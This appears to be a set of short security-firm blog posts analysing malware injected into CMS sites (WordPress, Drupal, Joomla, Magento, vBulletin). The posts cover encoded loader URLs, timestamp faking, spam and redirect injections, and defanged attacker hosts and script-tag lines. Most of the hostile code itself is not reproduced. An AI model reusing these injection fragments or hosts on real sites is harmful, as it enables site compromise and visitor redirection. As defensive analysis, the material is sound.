We wrote that it can be usually located inside the wp-includes/nav-menu.php file in WordPress and in the includes/defines.php files in Joomla! sites. But these are not the only targeted CMS'. We also find Drupal sites infected by this malware. The includes/bootstrap.inc file is where this malware can be found in Drupal sites.
The malware fetches the code it injects into webpages from third-party servers. The URLs of those servers are encoded using the base64 algorithm, e.g.:
$url = base64_decode("aHR0cDovLzkzLjE4OS40Mi43Mi9ibG9nLz9mcmFnaWxlJnV0bV9zb3VyY2U9MjQ2NzoyNjAzODM6NDU1");
which decodes to hxxp://93 .189 .42 .72/blog/?fragile&utm_source=2467:260383:455
but there are versions that use a custom encryption/decryption algorithm.
$url = decrypt_url('a3d3czksLDI2Mi0xMjQtNjQtMjQ7LGFvbGQsPGFmd2IldnduXHBsdnFgZj41NTQxOzk1MTA3MTs5NDQ0');
Here's the decryption function:
so the decoded URL is hxxp://151 .217. 57 .178/blog/?beta&utm_source=66728:623428:777
The rest of the code doesn't change much so we reliably detect this malware when we clean sites, even if we didn't see pseudo-darkleech on some particular CMS before.
Some webmasters only check recently modified files when searching for malware. It may work sometimes, but many infections don't change files' time-stamps. There is the "touch" PHP function that allows to set whatever modification time to any file.
If hackers create a new file, they chose a time-stamp of some neighbor file. If they inject code into an existing file, they simply save its original modification date and then restore it after the injection.
Today I want to show you a piece of code that also sets fake modification date to malicious files:
In this case, the code picks a random date between a year and two years back from now.
Don't limit your searches to recently modified files. Make sure to scan all files on your server. You don't have to do it manually. Integrity control systems will make the task much easier. Of course, you need to be absolutely sure all your files are clean at the moment when you put them under integrity control. If you already suspect that some of the files may contain malicious code then hire professionals - we'll scan all your files for thousands of malware patterns.
We see quite a few sites with the following injected PHP code:
This malware contacts dfoiqweomxa[.]ru and fetches spam links from there. The spam mainly promotes Russian phishing and money laundering sites. Infected sites can be found all around the world. We found this spam even on sites of American and international universities.
Do you remember SweetCAPTCHA that tried to monetize its WordPress plugin injecting unwanted ads into web pages?
Today we've found another CAPTCHA plugin with a suspicious code. We cleaned a site and our scanner reported a suspicious obfuscated code inside the Captcha on Login plugin (45,000+ all time installs) files.
The obfuscation had strings like this:
When we see such things, we always try to decode them to figure out whether it's legitimate or not.
Looks like that the owner of this plugin, called "Anderson Makiyama" is a Brazilian developer who is the owner of these affiliate marketing websites:
hxxp://hotplus .net .br/ plugin-hotlinks-plus/
hxxp://funildevendasparainiciante .com .br/ onde-divulgar-links-de-afiliados/
This plugin seems to be only showing these links inside the WordPress admin interface on the plugin options and report pages as "Other products of the author" (Outros Produtos do Autor). It's maybe a bit annoying but doesn't seem to be a big deal. It's natural for plugin developers to pitch their other products (even such questionable ones) on the internal plugin pages (not visible to site users).
The only problem is that link injecting code is obfuscated. Not only does it result in warnings produced by security scanners, but this practice is considered unacceptable by the official WordPress Plugin Directory guidelines:
4. No obfuscated code. We believe that obfuscated code violates the spirit, if not the letter, of the GPL license under which we operate....
...Intentionally obfuscated code is not the preferred form, and not allowed in the repository under any circumstances.
It's sad to see how plugins that are supposed to help stop hackers, actually do things that resemble what hackers do. Sometimes you can find such plugins even in the official WordPress plugin directory.
If you are looking for alternative solutions against brute force attacks, you can check our Website Firewall.
Recently I analyzed a porn doorway script and found an interesting way to obfuscate an IP address there.
As you know, IPv4 addresses consist of 4 bytes (values 0-255) separated by dots, e.g. 127.0.0.1
In the above code, you can see that each byte of the IP address $adr is represented by a string of dots, where the number of dots in the string is the byte value.
This give us the following IP address: 173 .236 .65 .24, which is used to generate a redirect URL for the doorway visitors:
In our case, the final redirect URL was hxxp://173 . 236 . 65 . 24/input/?mark=20151119-<hacked-site.com>/azq9mzo3v
This code was found in thousands of .php doorway files created by the attackers. This is the sort of a hack that may cause troubles even after you have completely cleaned your site. You can read about such scenarios on our blog. To prevent Googlebot from indexing and re-indexing tons of pages that shouldn't have been there in the first place, it may be a good idea to close spammy directories on your server with robots.txt directives.
If you find something like this on your server, it's only a tip of an iceberg. To stop the hackers, you need also to find and close all security holes (including the backdoors that they uploaded to your site). If you need a professional help in malware cleanup and site protection, please check our Website AntiVirus service.
Once active during the past summer, the g00[.]co script injections come with a new wave on infections this November.
The most common variation is
<script src="hxxp: / / g00[.]co/BtFVPd"></script>
On the server side, the malware is mainly injected into WordPress theme files. Usually you can find the following PHP code (in one line. Line breaks added for readability) in either footer.php or functions.php
It injects that g00 script into all site URLs that don't contain wp-admin.
As always, if you need site security monitoring and cleanup services, you can count on us.
We worked on an infected Magento site that had unwanted pop-up ads when you visited it. The culprit was this injected script (spaces added intentionally)
It was found in the cms_block table of the Magento database.
This time the raw pastebin code uses the same reverse() trick to inject the final remote script from hxxp: / / lachinampa . com . mx/stat/. That script has the actual pop-up code that uses the blablatrafic .com as the intermediary between other ad providers.
In some cases, the same pop-up code injection was noticed on WordPress sites. So this isn’t limited to Magento and you should check your files and database even if you are using a different CMS. Or have us scan your site for you.
Lately we see waves of a strange WordPress infection.
It usually adds backdoor code at the top of theme files (footer.php, page.php, etc)
and injects the following code at the top of the core WordPress file wp-blog-header.php
and a later modification
which (after decoding) injects the same script from the same server, using its IP address this time: hxxp: //45 .34 .72 .187/1.js
What make this infection strange is the oxxtm’s wp-logo.js script. It redirects visitors coming from search engines to www .oxxtm[.]com but does it in a really surprising way. The script defines 54 URLs, randomly pick one of then and redirects to it. This trick would make sense if those 54 URLs were different, but the script defines 54 virtually identical URLs. The differences are negligible: one with trailing slash after domain name, one without “www.” and the rest 51 with “www.“, plus one slot for “document.location.href”, which adds 1/54 chance that the page will not be redirected.
Now what’s the point of doing this random selection? The only explanation I see is the attackers expected to sell the redirected traffic to multiple clients but failed to find them, so they are leaving their own site in all 50+ slots as a placeholder.
Let us know @sucurilabs if you have a different explanation.
MyFileStore[.]com redirects from vBulletin sites have been a problem since 2011. It is associated with the VBSEO plugin with multiple unpatched vulnerabilities that has been discontinued for more than 3 year now. You can find more information about this hack here
Since then, the code remains pretty much the same. Only minor changes in variable names. Just search either the datastore table or the includes/datastore/datastore_cache.php file for = preg_replace( with strtr inside of it like:
preceded by long gibberish stings that look like this:
Despite the fact that that this hack is very old and VBSEO is no longer supported and should have been already removed from sites, we still regularly clean vBulletin websites affected by this infection.
Please, keep your sites software up-to-date. Secure it to prevent future break-ins.